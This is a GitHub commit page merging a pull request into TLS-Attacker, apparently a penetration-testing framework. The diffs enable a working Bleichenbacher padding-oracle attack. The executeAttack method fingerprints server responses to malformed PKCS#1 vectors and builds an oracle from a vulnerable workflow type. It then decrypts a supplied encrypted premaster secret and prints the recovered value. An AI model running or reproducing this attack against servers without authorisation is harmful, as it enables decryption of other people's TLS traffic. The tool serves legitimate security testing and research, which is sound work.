Skip to content

Commit 767b688

Browse files
Merge pull request #392 from RUB-NDS/bleichenbacherAttackCode
Bleichenbacher attack code
2 parents d8aff45 + dae2556 commit 767b688

File tree

7 files changed

+215
-72
lines changed

7 files changed

+215
-72
lines changed

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/Main.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -164,7 +164,7 @@ public static void main(String[] args) {
164164
} else {
165165

166166
if (attacker.getConfig().isExecuteAttack()) {
167-
attacker.checkVulnerability();
167+
attacker.attack();
168168
} else {
169169
try {
170170
Boolean result = attacker.checkVulnerability();

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/config/BleichenbacherCommandConfig.java

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,6 @@
2020
import de.rub.nds.tlsattacker.core.constants.AlgorithmResolver;
2121
import de.rub.nds.tlsattacker.core.constants.CipherSuite;
2222
import de.rub.nds.tlsattacker.core.constants.KeyExchangeAlgorithm;
23-
import de.rub.nds.tlsattacker.transport.TransportHandlerType;
2423
import java.util.LinkedList;
2524
import java.util.List;
2625

@@ -46,7 +45,7 @@ public class BleichenbacherCommandConfig extends AttackConfig {
4645
+ "FULL results in a comprehensive server evaluation.")
4746
private Type type = Type.FAST;
4847
@Parameter(names = "-msgPkcsConform", description = "Used by the real Bleichenbacher attack. Indicates whether the original "
49-
+ "message that we are going to decrypt is PKCS#1 conform or not (more precisely, whether it starts with 0x00 0x02.")
48+
+ "message that we are going to decrypt is PKCS#1 conform or not (more precisely, whether it starts with 0x00 0x02).", arity = 1)
5049
private boolean msgPkcsConform = true;
5150

5251
public BleichenbacherCommandConfig(GeneralDelegate delegate) {

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/impl/BleichenbacherAttacker.java

Lines changed: 93 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -8,24 +8,31 @@
88
*/
99
package de.rub.nds.tlsattacker.attacks.impl;
1010

11+
import de.rub.nds.modifiablevariable.util.ArrayConverter;
1112
import de.rub.nds.tlsattacker.attacks.config.BleichenbacherCommandConfig;
13+
import de.rub.nds.tlsattacker.attacks.pkcs1.Bleichenbacher;
1214
import de.rub.nds.tlsattacker.attacks.pkcs1.BleichenbacherWorkflowGenerator;
1315
import de.rub.nds.tlsattacker.attacks.pkcs1.BleichenbacherWorkflowType;
1416
import de.rub.nds.tlsattacker.attacks.pkcs1.Pkcs1Vector;
1517
import de.rub.nds.tlsattacker.attacks.pkcs1.Pkcs1VectorGenerator;
18+
import de.rub.nds.tlsattacker.attacks.pkcs1.VectorFingerprintPair;
19+
import de.rub.nds.tlsattacker.attacks.pkcs1.oracles.RealDirectMessagePkcs1Oracle;
1620
import de.rub.nds.tlsattacker.attacks.util.response.EqualityError;
1721
import de.rub.nds.tlsattacker.attacks.util.response.EqualityErrorTranslator;
1822
import de.rub.nds.tlsattacker.attacks.util.response.FingerPrintChecker;
1923
import de.rub.nds.tlsattacker.attacks.util.response.ResponseExtractor;
2024
import de.rub.nds.tlsattacker.attacks.util.response.ResponseFingerprint;
2125
import de.rub.nds.tlsattacker.core.config.Config;
26+
import de.rub.nds.tlsattacker.core.constants.ProtocolVersion;
27+
import de.rub.nds.tlsattacker.core.exceptions.ConfigurationException;
2228
import de.rub.nds.tlsattacker.core.state.State;
2329
import de.rub.nds.tlsattacker.core.util.CertificateFetcher;
2430
import de.rub.nds.tlsattacker.core.util.LogLevel;
2531
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutor;
2632
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutorFactory;
2733
import de.rub.nds.tlsattacker.core.workflow.WorkflowTrace;
2834
import java.io.IOException;
35+
import java.math.BigInteger;
2936
import java.security.interfaces.RSAPublicKey;
3037
import java.util.LinkedList;
3138
import java.util.List;
@@ -39,6 +46,8 @@ public class BleichenbacherAttacker extends Attacker<BleichenbacherCommandConfig
3946

4047
private final Config tlsConfig;
4148

49+
private BleichenbacherWorkflowType vulnerableType;
50+
4251
public BleichenbacherAttacker(BleichenbacherCommandConfig bleichenbacherConfig) {
4352
super(bleichenbacherConfig);
4453
tlsConfig = bleichenbacherConfig.createConfig();
@@ -56,8 +65,7 @@ public State executeTlsFlow(BleichenbacherWorkflowType type, byte[] encryptedPMS
5665

5766
@Override
5867
public Boolean isVulnerable() {
59-
RSAPublicKey publicKey;
60-
publicKey = (RSAPublicKey) CertificateFetcher.fetchServerPublicKey(tlsConfig);
68+
RSAPublicKey publicKey = (RSAPublicKey) CertificateFetcher.fetchServerPublicKey(tlsConfig);
6169
if (publicKey == null) {
6270
LOGGER.info("Could not retrieve PublicKey from Server - is the Server running?");
6371
return null;
@@ -76,6 +84,7 @@ public Boolean isVulnerable() {
7684
LOGGER.debug("Testing: " + bbWorkflowType);
7785
EqualityError error = isVulnerable(bbWorkflowType, pkcs1Vectors);
7886
if (error != EqualityError.NONE) {
87+
vulnerableType = bbWorkflowType;
7988
return true;
8089
}
8190
}
@@ -84,46 +93,103 @@ public Boolean isVulnerable() {
8493
}
8594

8695
private EqualityError isVulnerable(BleichenbacherWorkflowType bbWorkflowType, List<Pkcs1Vector> pkcs1Vectors) {
87-
List<ResponseFingerprint> responseFingerprintList = new LinkedList<>();
88-
for (Pkcs1Vector pkcs1Vector : pkcs1Vectors) {
89-
State state = executeTlsFlow(bbWorkflowType, pkcs1Vector.getEncryptedValue());
90-
if (state.getWorkflowTrace().allActionsExecuted()) {
91-
ResponseFingerprint fingerprint = ResponseExtractor.getFingerprint(state);
92-
responseFingerprintList.add(fingerprint);
93-
} else {
94-
LOGGER.warn("Could not execute Workflow. Something went wrong... Check the debug output for more information");
95-
}
96-
clearConnections(state);
97-
}
98-
if (responseFingerprintList.isEmpty()) {
96+
List<VectorFingerprintPair> bleichenbacherVectorMap = getBleichenbacherMap(bbWorkflowType, pkcs1Vectors);
97+
if (bleichenbacherVectorMap.isEmpty()) {
9998
LOGGER.warn("Could not extract Fingerprints");
10099
return null;
101100
}
102-
for (int i = 0; i < responseFingerprintList.size(); i++) {
103-
ResponseFingerprint fingerprint = responseFingerprintList.get(i);
104-
Pkcs1Vector pkcs1Vector = pkcs1Vectors.get(i);
105-
LOGGER.debug("\n PKCS#1 vector: {}\n Fingerprint: {}", pkcs1Vector.getDescription(), fingerprint.toString());
106-
}
107-
ResponseFingerprint fingerprint = responseFingerprintList.get(0);
108-
for (int i = 1; i < responseFingerprintList.size(); i++) {
109-
EqualityError error = FingerPrintChecker.checkEquality(fingerprint, responseFingerprintList.get(i), false);
101+
printBleichenbacherVectormap(bleichenbacherVectorMap);
102+
ResponseFingerprint fingerprint = bleichenbacherVectorMap.get(0).getFingerprint();
103+
for (VectorFingerprintPair pair : bleichenbacherVectorMap) {
104+
EqualityError error = FingerPrintChecker.checkEquality(fingerprint, pair.getFingerprint(), false);
110105
if (error != EqualityError.NONE) {
111106
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "Found a difference in responses in the {}.",
112107
bbWorkflowType.getDescription());
113108
LOGGER.log(LogLevel.CONSOLE_OUTPUT,
114-
EqualityErrorTranslator.translation(error, fingerprint, responseFingerprintList.get(i)));
115-
LOGGER.debug("Fingerprint1: {}", fingerprint.toString());
116-
LOGGER.debug("Fingerprint2: {}", responseFingerprintList.get(i).toString());
109+
EqualityErrorTranslator.translation(error, fingerprint, pair.getFingerprint()));
117110
return error;
118111
}
119112
}
120113
return EqualityError.NONE;
121114
}
122115

116+
private void printBleichenbacherVectormap(List<VectorFingerprintPair> bleichenbacherVectorMap) {
117+
LOGGER.debug("Vectormap:");
118+
LOGGER.debug("---------------");
119+
for (VectorFingerprintPair pair : bleichenbacherVectorMap) {
120+
LOGGER.debug(pair);
121+
}
122+
LOGGER.debug("---------------");
123+
}
124+
125+
private List<VectorFingerprintPair> getBleichenbacherMap(BleichenbacherWorkflowType bbWorkflowType,
126+
List<Pkcs1Vector> pkcs1Vectors) {
127+
List<VectorFingerprintPair> bleichenbacherVectorMap = new LinkedList<>();
128+
for (Pkcs1Vector pkcs1Vector : pkcs1Vectors) {
129+
ResponseFingerprint fingerprint = getFingerprint(bbWorkflowType, pkcs1Vector.getEncryptedValue());
130+
if (fingerprint != null) {
131+
bleichenbacherVectorMap.add(new VectorFingerprintPair(fingerprint, pkcs1Vector));
132+
}
133+
}
134+
return bleichenbacherVectorMap;
135+
}
136+
137+
private ResponseFingerprint getFingerprint(BleichenbacherWorkflowType type, byte[] encryptedPMS) {
138+
State state = executeTlsFlow(type, encryptedPMS);
139+
if (state.getWorkflowTrace().allActionsExecuted()) {
140+
ResponseFingerprint fingerprint = ResponseExtractor.getFingerprint(state);
141+
clearConnections(state);
142+
return fingerprint;
143+
} else {
144+
LOGGER.warn("Could not execute Workflow. Something went wrong... Check the debug output for more information");
145+
}
146+
return null;
147+
}
148+
123149
@Override
124150
public void executeAttack() {
125-
// removed for now
126-
throw new UnsupportedOperationException("Not implemented yet");
151+
// needs to execute the isVulnerable method to configure the workflow
152+
// type
153+
boolean vulnerable = isVulnerable();
154+
LOGGER.info("Using the following oracle type: {}", vulnerableType);
155+
156+
if (!vulnerable) {
157+
LOGGER.warn("The server is not vulnerable to the Bleichenbacher attack");
158+
return;
159+
}
160+
RSAPublicKey publicKey = (RSAPublicKey) CertificateFetcher.fetchServerPublicKey(tlsConfig);
161+
if (publicKey == null) {
162+
LOGGER.info("Could not retrieve PublicKey from Server - is the Server running?");
163+
return;
164+
}
165+
166+
if (config.getEncryptedPremasterSecret() == null) {
167+
throw new ConfigurationException("You have to set the encrypted premaster secret you are "
168+
+ "going to decrypt");
169+
}
170+
171+
LOGGER.info("Fetched the following server public key: " + publicKey);
172+
byte[] pms = ArrayConverter.hexStringToByteArray(config.getEncryptedPremasterSecret());
173+
if ((pms.length * 8) != publicKey.getModulus().bitLength()) {
174+
throw new ConfigurationException("The length of the encrypted premaster secret you have "
175+
+ "is not equal to the server public key length. Have you selected the correct value?");
176+
}
177+
RealDirectMessagePkcs1Oracle oracle = new RealDirectMessagePkcs1Oracle(publicKey, config,
178+
extractValidFingerprint(publicKey, tlsConfig.getDefaultHighestClientProtocolVersion()), null,
179+
vulnerableType);
180+
Bleichenbacher attacker = new Bleichenbacher(pms, oracle, config.isMsgPkcsConform());
181+
attacker.attack();
182+
BigInteger solution = attacker.getSolution();
183+
LOGGER.log(LogLevel.CONSOLE_OUTPUT, solution.toString(16));
184+
}
185+
186+
private ResponseFingerprint extractValidFingerprint(RSAPublicKey publicKey, ProtocolVersion version) {
187+
return getFingerprint(vulnerableType, Pkcs1VectorGenerator.generateCorrectPkcs1Vector(publicKey, version)
188+
.getEncryptedValue());
189+
}
190+
191+
private ResponseFingerprint extractInvalidFingerprint() {
192+
return null;
127193
}
128194

129195
private void clearConnections(State state) {

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/pkcs1/Bleichenbacher.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ public void attack() throws OracleException {
4040
int i = 0;
4141
boolean solutionFound = false;
4242

43-
LOGGER.debug("Step 1: Blinding");
43+
LOGGER.info("Step 1: Blinding");
4444
if (this.msgIsPKCS) {
4545
LOGGER.info("Step skipped --> " + "Message is considered as PKCS compliant.");
4646
LOGGER.info("Testing the validity of the original message");

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/pkcs1/Pkcs1VectorGenerator.java

Lines changed: 27 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ public class Pkcs1VectorGenerator {
3232

3333
/**
3434
* Generates different encrypted PKCS1 vectors
35-
*
35+
*
3636
* @param publicKey
3737
* The publickey
3838
* @param type
@@ -59,9 +59,24 @@ public static List<Pkcs1Vector> generatePkcs1Vectors(RSAPublicKey publicKey, Ble
5959
}
6060
}
6161

62+
public static Pkcs1Vector generateCorrectPkcs1Vector(RSAPublicKey publicKey, ProtocolVersion protocolVersion) {
63+
Pkcs1Vector encryptedVector = getPlainCorrect(publicKey.getModulus().bitLength(), protocolVersion);
64+
try {
65+
Cipher rsa = Cipher.getInstance("RSA/NONE/NoPadding");
66+
rsa.init(Cipher.ENCRYPT_MODE, publicKey);
67+
// encrypt all the padded keys
68+
byte[] encrypted = rsa.doFinal(encryptedVector.getPlainValue());
69+
encryptedVector.setEncryptedValue(encrypted);
70+
return encryptedVector;
71+
} catch (BadPaddingException | IllegalBlockSizeException | InvalidKeyException | NoSuchAlgorithmException
72+
| NoSuchPaddingException ex) {
73+
throw new ConfigurationException("The PKCS#1 attack vectors could not be generated.", ex);
74+
}
75+
}
76+
6277
/**
6378
* Generates different plain PKCS1 vectors
64-
*
79+
*
6580
* @param publicKeyBitLength
6681
* The publicKeyBitLength
6782
* @param type
@@ -110,9 +125,18 @@ public static List<Pkcs1Vector> generatePlainPkcs1Vectors(int publicKeyBitLength
110125
return pkcs1Vectors;
111126
}
112127

128+
private static Pkcs1Vector getPlainCorrect(int publicKeyBitLength, ProtocolVersion protocolVersion) {
129+
byte[] keyBytes = new byte[HandshakeByteLength.PREMASTER_SECRET];
130+
Arrays.fill(keyBytes, (byte) 42);
131+
keyBytes[0] = protocolVersion.getMajor();
132+
keyBytes[1] = protocolVersion.getMinor();
133+
int publicKeyByteLength = publicKeyBitLength / 8;
134+
return new Pkcs1Vector("Correctly formatted PKCS#1 PMS message", getPaddedKey(publicKeyByteLength, keyBytes));
135+
}
136+
113137
/**
114138
* Generates a validly padded message
115-
*
139+
*
116140
* @param rsaKeyLength
117141
* rsa key length in bytes
118142
* @param symmetricKey
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
/**
2+
* TLS-Attacker - A Modular Penetration Testing Framework for TLS
3+
*
4+
* Copyright 2014-2017 Ruhr University Bochum / Hackmanit GmbH
5+
*
6+
* Licensed under Apache License 2.0
7+
* http://www.apache.org/licenses/LICENSE-2.0
8+
*/
9+
package de.rub.nds.tlsattacker.attacks.pkcs1;
10+
11+
import de.rub.nds.tlsattacker.attacks.util.response.ResponseFingerprint;
12+
13+
public class VectorFingerprintPair {
14+
15+
private ResponseFingerprint fingerprint;
16+
17+
private Pkcs1Vector vector;
18+
19+
public VectorFingerprintPair(ResponseFingerprint fingerprint, Pkcs1Vector vector) {
20+
this.fingerprint = fingerprint;
21+
this.vector = vector;
22+
}
23+
24+
public ResponseFingerprint getFingerprint() {
25+
return fingerprint;
26+
}
27+
28+
public void setFingerprint(ResponseFingerprint fingerprint) {
29+
this.fingerprint = fingerprint;
30+
}
31+
32+
public Pkcs1Vector getVector() {
33+
return vector;
34+
}
35+
36+
public void setVector(Pkcs1Vector vector) {
37+
this.vector = vector;
38+
}
39+
40+
@Override
41+
public String toString() {
42+
return "PKCS#1 Vector: " + vector.getDescription() + " Fingerprint=" + fingerprint.toString();
43+
}
44+
}

0 commit comments

Comments
 (0)